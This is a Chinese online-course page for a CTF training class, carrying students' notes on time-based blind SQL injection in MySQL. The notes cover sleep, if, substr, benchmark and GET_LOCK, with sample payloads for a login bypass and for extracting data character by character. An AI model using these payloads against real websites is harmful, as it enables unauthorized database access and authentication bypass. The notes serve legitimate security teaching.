默认教学计划
1838人加入学习
(5人评价)
CTF从入门到提升

入选《爆款好课TOP榜》

价格 ¥ 499.00
音频听课 手机端支持一键听课 (试一试)
该课程属于 网络安全公益-高校篇 请加入后再学习

基于时间的盲注

  • SLEEP(duration) 延时函数
  • select * from user username='admin' and sleep(3);
  • 配合if条件触发
    • if(expr1,expr2,expr3)
    • 如果expr1判断为真,返回expr2,假返回expr3
  • substring_index(aaabbbccc,a,2)
    • a
  • userneme=1'||/*
  • &password=*/ 1 or '1
[展开全文]

sleep();  //延时

变慢存在注入。

select * from user where id =1 and sleep(5);

配合if条件触发:

if(expr1,expr2,expr3)

如果expr1是ture(eexpr1<>0 and expr1 <>null),则if()的返回值为expr2;否则返回值为expr3。if()的返回值为数值值或字符串值。

select * from table where id =1 and if(database()=' ',sleep(4), null)

-------------------

截取函数:

substring()和substr():

substring(str,pos),

substring(str from pos)

substring(str,pos,len),

substring(str from pos for len)

substr(string,start,length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

substring_index()

substring_index(str,delim,count)

说明:usbstring_index(被截取字段,关键字,关键字出现的次数)

例:

select * from user where username='a' or if(substr((select username form user where id=1),1,1)='a',sleep(3),0);//如果有延时,就说明第一个字母是a;(触发了这个判断逻辑)

 

rlike\regexp\

select case when 条件触发:

[case when 条件 then 效果]

例:select case when username='admin' then 'aaa' else (sleep(3)) end from user;

 

逐字注入:能够截取字符,同时能触发延时即可

select* from table where id = 1 and (if (substr(database(),1,1)=' ',sleep(4),null))

select* from table where id = 1 and if(acsii(substr(database(),1,1)=100,sleep(4),null))

除了sleep之外的延时:

benchmark(count,expr)

benchmark()函数重复count 次执行表达式expr。

它可以被用于计算Mysql处理表达式的速度。结果值通常为0;

select benchmark(100000,sha(1));

 

笛卡尔积\

GET_LOCK(str,timeout)

函数说明:设法使用字符串str给定的名字得到一个锁,超时未timeout秒。

select GET_LOCK(' a' ,1)

[展开全文]

基于时间的盲注

      截取函数

             substring()和substr()

[展开全文]

授课教师

课程特色

视频(60)
下载资料(15)